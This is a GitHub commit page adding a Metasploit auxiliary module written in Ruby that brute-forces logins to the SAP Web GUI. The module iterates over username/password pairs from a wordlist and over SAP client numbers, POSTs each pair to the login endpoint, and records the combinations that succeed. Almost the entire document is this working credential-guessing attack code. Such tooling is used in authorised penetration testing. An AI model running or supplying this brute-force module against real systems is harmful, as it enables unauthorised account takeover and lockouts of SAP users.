Skip to content

Commit 165e9c2

Browse files
author
jvazquez-r7
committed
Merge branch 'sap_web_gui_brute_login' of https://github.com/nmonkee/metasploit-framework into nmonkee-sap_web_gui_brute_login
2 parents 3573d31 + e55e5d2 commit 165e9c2

File tree

1 file changed

+133
-0
lines changed

1 file changed

+133
-0
lines changed
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy. I'd also like to thank Chris John Riley,
15+
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16+
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17+
##
18+
19+
require 'msf/core'
20+
21+
class Metasploit4 < Msf::Auxiliary
22+
23+
include Msf::Exploit::Remote::HttpClient
24+
include Msf::Auxiliary::Report
25+
include Msf::Auxiliary::Scanner
26+
include Msf::Auxiliary::AuthBrute
27+
28+
def initialize
29+
super(
30+
'Name' => 'SAP Web GUI Brute Force',
31+
'Description' => %q{
32+
SAP Web GUI Brute Force.
33+
},
34+
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
35+
'Author' => [ 'nmonkee' ],
36+
'License' => BSD_LICENSE
37+
)
38+
register_options([
39+
OptString.new('TARGETURI', [true, 'URI', '/']),
40+
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
41+
OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
42+
OptString.new('USERPASS_FILE',[false, '',nil])
43+
], self.class)
44+
register_autofilter_ports([80])
45+
end
46+
47+
def run_host(ip)
48+
uri = datastore['TARGETURI']
49+
if datastore['CLIENT'].nil?
50+
print_status("Using default SAP client list")
51+
client = ['000','001','066']
52+
else
53+
client = []
54+
if datastore['CLIENT'] =~ /^\d{3},/
55+
client = datastore['CLIENT'].split(/,/)
56+
print_status("Brute forcing clients #{datastore['CLIENT']}")
57+
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
58+
array = datastore['CLIENT'].split(/-/)
59+
client = (array.at(0)..array.at(1)).to_a
60+
print_status("Brute forcing clients #{datastore['CLIENT']}")
61+
elsif datastore['CLIENT'] =~ /^\d{3}\z/
62+
client.push(datastore['CLIENT'])
63+
print_status("Brute forcing client #{datastore['CLIENT']}")
64+
else
65+
print_status("Invalid CLIENT - using default SAP client list instead")
66+
client = ['000','001','066']
67+
end
68+
end
69+
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
70+
'Header' => "[SAP] Credentials",
71+
'Prefix' => "\n",
72+
'Postfix' => "\n",
73+
'Indent' => 1,
74+
'Columns' => ["host","port","client","user","pass"])
75+
if datastore['USERPASS_FILE']
76+
credentials = extract_word_pair(datastore['USERPASS_FILE'])
77+
credentials.each do |u,p|
78+
client.each do |cli|
79+
success = bruteforce(uri,u,p,cli)
80+
if success == true
81+
saptbl << [ip,rport,cli,u,p]
82+
end
83+
end
84+
end
85+
else
86+
datastore['USERPASS_FILE'] = Msf::Config.data_directory + '/wordlists/sap_default.txt'
87+
end
88+
print(saptbl.to_s)
89+
end
90+
91+
def bruteforce(uri,user,pass,cli)
92+
begin
93+
path = "sap/bc/gui/sap/its/webgui/"
94+
cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
95+
res = send_request_cgi({
96+
'uri' => "#{uri}#{path}",
97+
'method' => 'POST',
98+
'cookie' => cookie,
99+
'vars_post' => {
100+
'sap-system-login-oninputprocessing' => 'onLogin',
101+
'sap-urlscheme' => '',
102+
'sap-system-login' => 'onLogin',
103+
'sap-system-login-basic_auth' => '',
104+
'sap-system-login-cookie_disabled' => '',
105+
'sysid' => '',
106+
'sap-client' => cli,
107+
'sap-user' => user,
108+
'sap-password' => pass,
109+
'sap-language' => 'EN'
110+
}
111+
})
112+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
113+
print_error("[SAP] #{ip}:#{rport} - Service failed to respond")
114+
return false
115+
end
116+
117+
if res and res.code == 302
118+
return true
119+
elsif res and res.code == 200
120+
if res.body =~ /log on again/
121+
return false
122+
elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
123+
return true
124+
elsif res.body =~ /Password logon no longer possible - too many failed attempts/
125+
print_error("[SAP] #{ip}:#{rport} - #{user} locked in client #{cli}")
126+
return false
127+
end
128+
else
129+
print_error("[SAP] #{ip}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
130+
return false
131+
end
132+
end
133+
end

0 commit comments

Comments
 (0)